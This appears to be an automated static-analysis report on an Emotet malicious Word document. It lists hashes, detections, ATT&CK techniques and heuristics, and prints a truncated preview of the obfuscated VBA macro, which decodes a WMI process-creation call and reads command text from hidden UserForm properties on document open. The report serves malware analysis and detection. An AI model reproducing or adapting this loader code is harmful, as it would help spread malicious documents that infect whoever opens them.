Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d46ff52b1fd7bf47…

MALICIOUS

Office (OLE)

169.0 KB Created: 2020-07-28 16:56:00 Authoring application: Microsoft Office Word First seen: 2020-09-04
MD5: 224e52e5126c0e29c674471dafc15e75 SHA-1: 85daf51d37075e5c1d8df5811e0d1feca1f0ebcc SHA-256: d46ff52b1fd7bf47ca4874a397a249cb98f22bf964980cf1b1ebd77bd16c1be7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-exec macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection explicitly names Emotet. The VBA script likely downloads and executes a second-stage payload, a common Emotet behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9249208-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9249208-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5155 bytes
SHA-256: 523ee6fec0ba1789a06c903343e8df0961c61b85e9478250fdbdd9e0b9c18ea1
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EJRWKbrwmpajsfq"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
RAFFZsparofmllt.ICPDJznfpopyvclfiec
End Sub


Attribute VB_Name = "RAFFZsparofmllt"
Attribute VB_Base = "0{99D99DC6-3A61-4361-8770-7425C0D3FC26}{50BE25F8-BE58-4F11-A46E-8CF17C3FAE16}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ICPDJznfpopyvclfiec()
OJLABajsbdlvjok = Chr(RAFFZsparofmllt.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
ZNEODcuklhxyqrwdh = "LHFDRoqjfxzegdnhj"
Loop
MNAMMeddeodqrqim = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + OJLABajsbdlvjok + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + RAFFZsparofmllt.JXXUBllxadamfrei + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
LANDEmcynbgud = "GQEDNwwqxtwxlgb"
Loop
NDIXJdorsfdmt = OPZPVuovqmmxhahmoyr(MNAMMeddeodqrqim)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
KIISRhfictbtbocltn = "PZKUNivctghavwtqxll"
Loop
Set SVWUGdlpjvzbwg = CreateObject(NDIXJdorsfdmt)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
AIMVMgusoeapvsfojfi = RAFFZsparofmllt.MZKKAlmaewgsm.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
ZKWATucpirldyiluao = "JVEMCvtgwhxezityed"
Loop
ESTXHzzcnjdsun = NN + (NDIXJdorsfdmt + OJLABajsbdlvjok) + RAFFZsparofmllt.MLTQAyqoiecvuxmj.ControlTipText + AIMVMgusoeapvsfojfi
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
DCJFViodkmeyo = ESTXHzzcnjdsun + RAFFZsparofmllt.JXXUBllxadamfrei
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
BSFGTbudbmkzqj = "BYUYUfzoghlmlufkg"
Loop
Set WDQUCmmiyzsaqzbm = FABPShxjuinhy(DCJFViodkmeyo)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
RNCEPkkhrstlihvjh = "EGJEBeyyipjiwcdhyv"
Loop
uiii = Array("BNSBSBBSSS", SVWUGdlpjvzbwg. _
Create(ZQKNVszhvlpysmnglx, XJJNMnhuvzdrcnlf, WDQUCmmiyzsaqzbm), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function FABPShxjuinhy(AYIURjddracewpo)
Set FABPShxjuinhy = CreateObject(AYIURjddracewpo)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
IMMXFqcvyivr = "AIAVKkuswrukdz"
Loop
FABPShxjuinhy.showwindow = (YGVLWdzmjqrth + OELCNyvrhdblhmvrn) + (QXXRNkuebwqf + QNZHMihqbjhyrklvn)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function OPZPVuovqmmxhahmoyr(QKLHOtqsgbwpur)
KSCAIokspdbsqu = QKLHOtqsgbwpur
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
RCPDKvwraijwyackk = "HEJJGlonptvajiofzcd"
Loop
HGCOVdhcbibnokivf = Split _
(KSCAIokspdbsqu, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
DELVHzgflgvhznni = "IWDOWfdvazbisb"
Loop
KQEINlzwrqdnsyq = kooooo + Join(HGCOVdhcbibnokivf, b
... (truncated)

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